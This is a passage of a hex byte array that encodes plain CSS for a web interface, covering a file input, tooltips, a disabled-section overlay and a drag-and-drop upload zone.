0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, - 0x72, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x5B, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x66, 0x69, 0x6C, 0x65, 0x22, 0x5D, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, - 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, - 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, - 0x66, 0x37, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x30, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, - 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, - 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x68, 0x65, 0x6C, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x76, 0x69, 0x73, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x68, 0x69, 0x64, 0x64, 0x65, 0x6E, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, - 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, - 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, - 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, - 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, - 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, - 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x69, 0x6C, 0x74, - 0x65, 0x72, 0x3A, 0x20, 0x64, 0x72, 0x6F, 0x70, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x28, 0x30, 0x20, 0x30, 0x20, 0x31, 0x33, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x28, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x2F, 0x20, 0x30, 0x2E, 0x33, - 0x29, 0x29, 0x20, 0x64, 0x72, 0x6F, 0x70, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x28, 0x30, 0x20, 0x30, 0x20, 0x35, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x28, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, 0x2F, 0x20, 0x30, 0x2E, 0x38, 0x29, 0x29, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7A, 0x2D, 0x69, 0x6E, 0x64, - 0x65, 0x78, 0x3A, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x31, 0x32, 0x35, 0x25, 0x3B, 0x20, 0x2F, 0x2A, 0x20, 0x50, 0x6F, 0x73, - 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x61, 0x62, 0x6F, 0x76, 0x65, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x25, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x58, 0x28, 0x2D, 0x35, 0x30, 0x25, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, - 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x22, 0x22, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, - 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, - 0x20, 0x2F, 0x2A, 0x20, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, - 0x66, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, - 0x74, 0x65, 0x58, 0x28, 0x2D, 0x35, 0x30, 0x25, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x35, 0x70, - 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x3A, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, - 0x6C, 0x6F, 0x72, 0x29, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x2E, - 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x76, 0x69, 0x73, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x76, - 0x69, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x64, 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, - 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x64, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x64, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x70, 0x61, 0x63, 0x69, 0x74, 0x79, 0x3A, 0x20, 0x30, 0x2E, 0x36, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, - 0x65, 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, - 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x64, 0x69, 0x73, 0x61, 0x62, 0x6C, 0x65, - 0x64, 0x2D, 0x6F, 0x76, 0x65, 0x72, 0x6C, 0x61, 0x79, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, - 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, - 0x65, 0x66, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, - 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x37, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, - 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, 0x63, - 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x69, 0x66, 0x79, 0x2D, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x63, 0x65, 0x6E, - 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x44, 0x72, 0x6F, 0x70, 0x7A, 0x6F, 0x6E, 0x65, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x64, 0x72, 0x6F, 0x70, 0x7A, 0x6F, 0x6E, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x33, - 0x70, 0x78, 0x20, 0x64, 0x61, 0x73, 0x68, 0x65, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, - 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, - 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, - 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x61, - 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x64, 0x72, 0x6F, 0x70, 0x7A, 0x6F, 0x6E, 0x65, 0x2E, 0x64, 0x72, 0x61, 0x67, 0x6F, 0x76, 0x65, 0x72, - 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, - 0x61, 0x63, 0x63, 0x65, 0x6E, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, - 0x3A, 0x20, 0x23, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x48, 0x65, 0x6C, 0x70, - 0x20, 0x4C, 0x69, 0x73, 0x74, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x68, 0x65, 0x6C, 0x70, 0x2D, 0x6C, 0x69, 0x73, 0x74, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x69, 0x73, 0x74, 0x2D, 0x73, 0x74, 0x79, 0x6C, 0x65, 0x2D, 0x74, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 